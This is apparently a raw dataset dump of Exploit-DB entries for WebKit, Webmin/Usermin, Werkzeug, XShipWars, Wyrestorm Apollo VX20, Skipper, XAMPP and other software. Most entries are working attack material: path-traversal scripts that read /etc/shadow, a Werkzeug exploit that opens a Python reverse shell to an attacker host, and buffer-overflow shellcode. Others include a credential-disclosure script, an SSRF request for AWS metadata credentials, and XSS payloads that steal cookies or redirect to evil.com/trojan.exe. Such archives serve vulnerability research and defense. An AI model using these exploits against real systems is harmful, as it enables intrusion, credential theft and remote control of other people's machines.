deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33164
Description: WebKit - Floating Point Number Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2009-08-11
Author: Apple

Exploit:
source: https://www.securityfocus.com/bid/36023/info

WebKit is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Apple Safari 4.0.3 are vulnerable; other applications using WebKit may also be affected. 


Example 1:
---------
<script>
var Overflow = "31337" + 0[PII_REDACTED][PII_REDACTED][PII_REDACTED]...;
</script>
---------

Example 2:
---------
<img width=0[PII_REDACTED][PII_REDACTED]31337... src="31337.jpg">
---------
Exploit-DB #33033
Description: WebKit - JavaScript 'onload()' Event Cross Domain Scripting
Type: remote
Platform: multiple
Date: 2009-05-08
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/35315/info

WebKit is prone to a cross-domain scripting vulnerability because it fails to properly restrict the access of JavaScript code when loading new webpages.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or to launch spoofing attacks against other sites. Other attacks are also possible.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it.

<html> <body onunload='intercept()'> <script> function intercept() { setTimeout('update_page()',10); stop(); } function update_page() { document.getElementById('hideme').style.visibility = "hidden"; document.getElementById('showme').style.visibility = "visible"; document.getElementById('sitename').innerHTML = document.location; } </script> <span id=showme style="visibility: hidden"> <font size=+1 color=teal>This is a spoofed version of <b><span id=sitename></span></b></font> </span> <br> <span id=hideme>Please navigate away from this page.</span>
Exploit-DB #1997
Description: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
Type: remote
Platform: multiple
Date: 2006-07-09
Author: joffer

Exploit:
<?php
/*
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability
Date :  2006-06-30
Patch : update to version 1.290
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
Coded by joffer , http://securitydot.net
*/

$host = $argv[1];
$port = $argv[2];
$http = $argv[3];
$file = $argv[4];
// CHECKING THE INPUT
if($host != "" && $port != "" && $http != "" && $file != "") {


$z = "/..%01";
for ($i=0;$i<60;$i++) {
        $z.="/..%01";
}

$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";

echo "Attacking ".$host."\n";
echo "---------------------------------\n";

// INITIALIZING CURL SESSION TO THE TARGET

$ch = curl_init();

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);

$content = curl_exec($ch);
curl_close ($ch);

// CLOSING CURL

// ECHOING THE CONTENT OF THE $FILE
echo $content;

echo "---------------------------------\n";
echo "Coded by joffer , http://securitydot.net\n";

} else {
        // IF INPUT IS NOT CORRECT DISPLAY THE README
        echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";
        echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
        echo "Coded by joffer , http://securitydot.net\n";
}

?>

# milw0rm.com [2006-07-09]
Exploit-DB #2017
Description: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
Type: remote
Platform: multiple
Date: 2006-07-15
Author: UmZ

Exploit:
#!/usr/bin/perl
#		Exploit for WEBMIN and USERMIN  less than 1.29x           
#		ARBITARY REMOTE FILE DISCLOSURE
#		WORKS FOR HTTP AND HTTPS (NOW) 		
#		Thrusday 13th  July 2006
#		Vulnerability Disclosure at securitydot.net
#		Coded by UmZ! umz32.dll _at_ gmail.com
#		
#	
#
#		Make sure you have LWP before using this exploit.
#		USE IT AT YOUR OWN RISK
#
#		GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................
#		for other.. like AHMED n FAIZ ... (GET A LIFE MAN).



#		Revised on Friday 14th July 2006
use LWP::Simple;
use LWP::UserAgent;
my $userag = LWP::UserAgent->new;
  
if (@ARGV < 4) { 
                    print("Usage: $0 <url> <port> <filename> <target> \n"); 
                    print("TARGETS are\n ");
		    print("0  - > HTTP \n");
		    print(" 1  - > HTTPS\n");
		    print("Define full path with file name \n");
		    print("Example: ./webmin.pl blah.com 10000 /etc/passwd\n");
		    exit(1); 
                    } 

                    ($target, $port,$filename, $tar) = @ARGV;

		print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n");
		print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n");
		print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n");
		print("Attacking $target on port $port!\n");
		print("FILENAME:  $filename\n");
		

		$temp="/..%01" x 40;
		
		if ($tar == '0')
			{ my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
			$content=get $url;

			print("\n FILE CONTENT STARTED");
			print("\n -----------------------------------\n");

			print("$content");
			print("\n -------------------------------------\n");
 			}

		
		elsif ($tar == '1')
			 {
			my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
			my $req = HTTP::Request->new(GET => $url);
			my $res = $userag->request($req);
  			if ($res->is_success) {
   			   	print("FILE CONTENT STARTED\n");
				print("-------------------------------------------\n");
				print $res->as_string;
  				print("-------------------------------------------\n");
						}
  			else {
      			print "Failed: ", $res->status_line, "\n";
  			     }
			}

# milw0rm.com [2006-07-15]
Exploit-DB #37671
Description: Websense Content Gateway - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2012-08-23
Author: Steven Sim Kok Leong

Exploit:
source: https://www.securityfocus.com/bid/55194/info

Websense Content Gateway is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com:8081/monitor/m_overview.ink?mode=0&menu=</script><img%20src%3Dhttp%3A%2f%2fwww.evilanother.com%2fimages%2fcross_site.jpg>
https://www.example.com:8081/monitor/m_overview.ink?mode=0&menu=</script><meta%20http-equiv%3D%22refresh%22%20content%3D%220%3BURL%3Dhttps%3A%2f%2fwww.evil.com%2ftrojan.exe%22>
Exploit-DB #25066
Description: WebWasher Classic 2.2/2.3 - HTTP CONNECT Unauthorized Access
Type: remote
Platform: multiple
Date: 2005-01-28
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/12394/info

It is reported that WebWasher Classic is prone to a weakness that may allow remote attackers to connect to arbitrary ports on a vulnerable computer.

This weakness may be combined with other attacks to exploit latent vulnerabilities. An attacker can bypass access controls implemented by the application through this attack.

WebWasher Classic 3.3 and 2.2.1 are reported prone to this weakness. Other versions may be affected as well. 

The following proof of concept is available:
1) Start a netcat listener on the WebWasher system:
netcat -L -p 99 -s 127.0.0.1 < hallo.txt
2) Connect to the WebWasher proxy port (default 8080/tcp)
3) Enter command "CONNECT 127.0.0.1:99 HTTP/1.0"

As a result, content of hallo.txt will appear.
Exploit-DB #23380
Description: WebWasher Classic 2.2/3.3 - Error Message Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-11-13
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/9039/info

It has been reported that a cross-site scripting vulnerability may exist in WebWasher Classic that may allow remote attackers to execute HTML or script code in a user's browser. The issue is reported to occur due to error messages returned to the user. User-supplied data is not properly sanitized therefore allowing an attacker to a construct a malicious link containing HTML or script code that may be rendered in a user's browser.

WebWasher Classic versions 3.3 Build 44 and 2.2.1 are reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/<script>alert("WASH_ME")</script>
Exploit-DB #43905
Description: Werkzeug - 'Debug Shell' Command Execution
Type: remote
Platform: multiple
Date: 2018-01-28
Author: Ali BawazeEer

Exploit:
#!/usr/bin/env python
import requests
import sys
import re
import urllib

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 

if len(sys.argv) != 5:
    print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0])
    sys.exit(-1)


response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

if "Werkzeug " not in response.text:
    print "[-] Debug is not enabled"
    sys.exit(-1)

# since the application or debugger about python using python for reverse connect 
cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (sys.argv[3],sys.argv[4])

__debugger__ = 'yes'

frm = '0'

response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

secret = re.findall("[0-9a-zA-Z]{20}",response.text)

if len(secret) != 1:
    print "[-] Impossible to get SECRET"
    sys.exit(-1)
else:
    secret = secret[0]
    print "[+] SECRET is: "+str(secret)

# shell
print "[+] Sending reverse shell to %s:%s, please  use netcat listening in %s:%s" % (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])

raw_input("PRESS ENTER TO EXPLOIT")

data = {
        '__debugger__' : __debugger__,
        'cmd' : str(cmd),
        'frm' : frm,
        's' : secret
        }


response = requests.get("http://%s:%s/console" % (sys.argv[1],sys.argv[2]), params=data,headers=response.headers)

print "[+] response from server"
print "status code: " + str(response.status_code)
print "response: "+ str(response.text)
Exploit-DB #22388
Description: WFChat 1.0 - Information Disclosure
Type: remote
Platform: multiple
Date: 2003-03-19
Author: subj

Exploit:
source: https://www.securityfocus.com/bid/7147/info

An information disclosure vulnerability has been reported for WFChat. The vulnerability will result in the disclosure of authentication information to a remote attacker.

Information obtained in this manner may allow the attacker to launch further attacks against a vulnerable system.

http://[somehost]/chat/!nicks.txt
http://[somehost]/chat/!pwds.txt
Exploit-DB #31106
Description: WinComLPD Total 3.0.2.623 - Remote Buffer Overflow / Authentication Bypass
Type: remote
Platform: multiple
Date: 2008-02-04
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27614/info

WinComLPD Total is prone to multiple vulnerabilities, including buffer-overflow vulnerabilities and an authentication-bypass vulnerability.

Successfully exploiting these issues will allow an attacker to perform unauthorized actions or execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

These issues affect WinComLPD Total 3.0.2.623; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31106.zip
Exploit-DB #33067
Description: Winds3D Viewer 3 - 'GetURL()' Arbitrary File Download
Type: remote
Platform: multiple
Date: 2009-06-08
Author: Diego Juarez

Exploit:
source: https://www.securityfocus.com/bid/35595/info

Winds3D Viewer is prone to a vulnerability that can allow malicious files to be downloaded an executed within the context of the affected browser that uses the plugin.

Successfully exploiting this issue will allow attackers to compromise the affected application that uses the plugin.

Winds3D Viewer 3.5.0.0 and 3.5.0.5 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33067.usr
Exploit-DB #31941
Description: WISE-FTP 4.1/5.5.8 - FTP Client 'LIST' Directory Traversal
Type: remote
Platform: multiple
Date: 2008-06-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29844/info

WISE-FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Versions prior to WISE-FTP 5.5.9 are vulnerable.

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n
Exploit-DB #19667
Description: WolfPack Development XSHIPWARS 1.0/1.2.4 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 1999-12-09
Author: Amanda Woodward

Exploit:
/*
source: https://www.securityfocus.com/bid/863/info

Xshipwars a graphical 'star battle' client/server based game which runs a variety of platforms. Certain versions of the server which facilitates this game (versions before 1.25) had a remotely exploitable buffer overflow. The exploit would result in the execution of arbitrary commands as the UID of the server process. 
*/

/* If the offset is off for your box, then the server will still crash,
 and will begin an endless loop of sending itself log messages,
 filling up whatever space it can on whatever partition it's installed
 on. This is less than optimal behavior, so quickly find and kill the
 server if your exploit fails. 

       Love,
       A. Woodward, Dec 1999

<cut this and paste it into your client's source file, modify your
.h's to raise the limit on a few variables (grep for 256 and turn them
into 2560), recompile, and enjoy> */

/*
 *	Sends a literal command.
 */
/*hacked to send our attack buffer!*/

int 
NetSendExec(char *arg)
{
  char larg[CS_MESG_MAX];
  char sndbuf[CS_DATA_MAX_LEN];
  char exploitbuf[CS_DATA_MAX_LEN];
  int i;

  /*test shellcode. No whitespace, just exec's /tmp/xx. If it's not
    there, does random things. Replace this for slightly more
    fun. ;> */
      char code[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
	   "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
	   "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/xx";
	

	
#define SIZEOFBUF 229
	memset(exploitbuf,0x41,SIZEOFBUF);

#define SHELLSTART 50
	memcpy(exploitbuf+SHELLSTART,code,strlen(code));
	
	/*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
	exploitbuf[132]=0xe4;
	exploitbuf[133]=0xeb;
	exploitbuf[134]=0xff;
	exploitbuf[135]=0xbf;
	
	exploitbuf[SIZEOFBUF-1]=0;

	/*
	if(arg == NULL)
	    return(-1);
	if(arg[0] == '\0')
	    return(-2);
	*/

	/*strncpy(larg, arg, CS_MESG_MAX);*/
	strncpy(larg, exploitbuf, CS_MESG_MAX);
	larg[CS_MESG_MAX - 1] = '\0';
	

        /* 
         *   NET_CMD_EXEC format is as follows:
         *
         *      argument
         */
        sprintf(sndbuf, "%i %s\n",
                CS_CODE_LITERALCMD,
                larg
        );
        NetSendData(sndbuf);


	return(0);
}
Exploit-DB #32987
Description: Woodstock 4.2 404 - Error Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34829/info

Woodstock is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Woodstock 4.2 is vulnerable; other versions may also be affected.

http://www.example.com/theme/META-INF/>+ACJ-+AD4APB-SCRIPT+AD7-alert(+ACI-DSecRG_XSS+ACI-)+ADz-/SCRIPT+AD7-
Exploit-DB #51814
Description: Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration
Type: remote
Platform: multiple
Date: 2024-02-26
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_ACCOUNT_ENUMERATION_CVE-2024-25734.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58

[Vulnerability Type]
Account Enumeration


[CVE Reference]
CVE-2024-25734


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. The TELNET service prompts for a password only after a valid username is entered.
Attackers who can reach the Apollo VX20 Telnet service can determine valid accounts, this can potentially allow for brute force attack on a valid account.


[Exploit/POC]
TELNET x.x.x.x 23
username:aa
username:bb
username:admin
password:


[Network Access]
Remote


[Affected Product Code Base]
APOLLO VX20 - < 1.3.58, fixed in v1.3.58


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #51816
Description: Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure'
Type: remote
Platform: multiple
Date: 2024-02-26
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     


[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58


[Vulnerability Type]
Incorrect Access Control (Credentials Disclosure)


[Affected Component]
Web interface, config


[Affected Product Code Base]
APOLLO VX20 < 1.3.58, fixed in v1.3.58


[CVE Reference]
CVE-2024-25735


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58.
Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
The credentials are then returned in the HTTP response. curl -k https://192.168.x.x/device/config

E.g. HTTP response snippet:

:{"enable":"y","oncmd":"8004","offcmd":"8036"}},"screen":"dual","ipconflict":"y","wifi":{"auto":"y","band":"5","channel":"153"}
,"softAp":{"password":"12345678","router":"y","softAp":"y"}...


[Exploit/POC]
import requests

target="https://x.x.x.x"
res = requests.get(target+"/device/config", verify=False)

idx=res.content.find('{"password":')
if idx != -1:
    idx2=res.content.find('router')
    if idx2 != -1:
        print("[+] CVE-2024-25735 Credentials Disclosure")
        print("[+] " + res.content[idx + 1:idx2 + 11])
        print("[+] hyp3rlinx")
else:
    print("[!] Apollo vX20 Device not vulnerable...")



[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #51111
Description: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
Type: remote
Platform: multiple
Date: 2023-03-28
Author: Hosein Vita

Exploit:
#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Date: 24/10/2022
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580


Summary:

Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.


Proof Of Concept:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close




Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2
Exploit-DB #25391
Description: XAMPP - 'Phonebook.php' Multiple Remote HTML Injection Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-04-12
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/13127/info

XAMPP is prone to multiple remote HTML-injection vulnerabilities because the software fails to properly sanitize user-supplied input before including it in dynamically generated web content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, which may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/xampp/phonebook.php?lastname=Cru3l.b0y&firstname=&phone=
Exploit-DB #33577
Description: XAMPP 1.6.x - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-06-10
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37997/info

XAMPP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect XAMPP 1.6.8 and prior; other versions may be affected as well.

http://www.example.com/xampp/showcode.php?TEXT[global-showcode]=%3Cscript%3Ealert(document.cookie)%3C/script%3E